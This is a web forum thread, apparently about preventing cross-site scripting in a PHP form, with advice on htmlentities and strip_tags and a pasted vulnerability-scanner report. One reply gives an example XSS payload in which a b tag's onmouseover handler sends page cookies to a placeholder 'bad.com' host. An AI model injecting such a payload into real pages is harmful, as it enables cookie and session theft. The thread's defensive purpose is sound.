Jump to content

Recommended Posts

alert is javascript and as long as you have something like

<?php
htmlentities($string,ENT_QUOTES);?>

 

 

you are fine. it wil print in html like alert whatever instead of actually being a problem ;)

If I use strip_tags won't it get rid of JS? I will add htmlentities anyway though.

a note if you use strip tags,

if you allow even the <b> or <i> tags, somone can still put

<b onmouseover="javascript:document.location='http://www.bad.com/cookiemonster?cookies='+document.cookies;">Hover Here!</b>

I find that a good solution is to allow <b>, <i>, etc but to also escape the quotes to " so that a user can use <b> but not <b onmouseover="bad">

You might want to use some script to empty the field value (name field) once the user clicks to type in his/her nickname

 

JS

<!-- Form Input Default Value -->
<script type="text/javascript">
function clickclear(thisfield, defaulttext) {
if (thisfield.value == defaulttext) {
thisfield.value = "";
}
}

function clickrecall(thisfield, defaulttext) {
if (thisfield.value == “”) {
thisfield.value = defaulttext;
}
}
</script>

 

example:

<input type="text" name="myfield" value="default text" onclick=”clickclear(this, ‘default text’)” onblur=”clickrecall(this,’default text’)” />

Input Type Password Autocomplete Enabled

Password type input named pass from unnamedd has autocomplete enabled. An attacker with local access could obtain the cleartext password from the browser cache.

The impact of this vulnerability

Possible sensitive information disclosure

How to fix this vulnerability

The password autocomplete should be disabled in sensitive applications. To disable autocomplete, you may use a code similar to: < INPUT TYPE="password" AUTOCOMPLETE="off" >

 

User credentials are sent in clear text

The impact of this vulnerability

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

How to fix this vulnerability

Because user credentials usually are considered sensitive information, it is recommended to be sent to the server over an encrypted connection.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.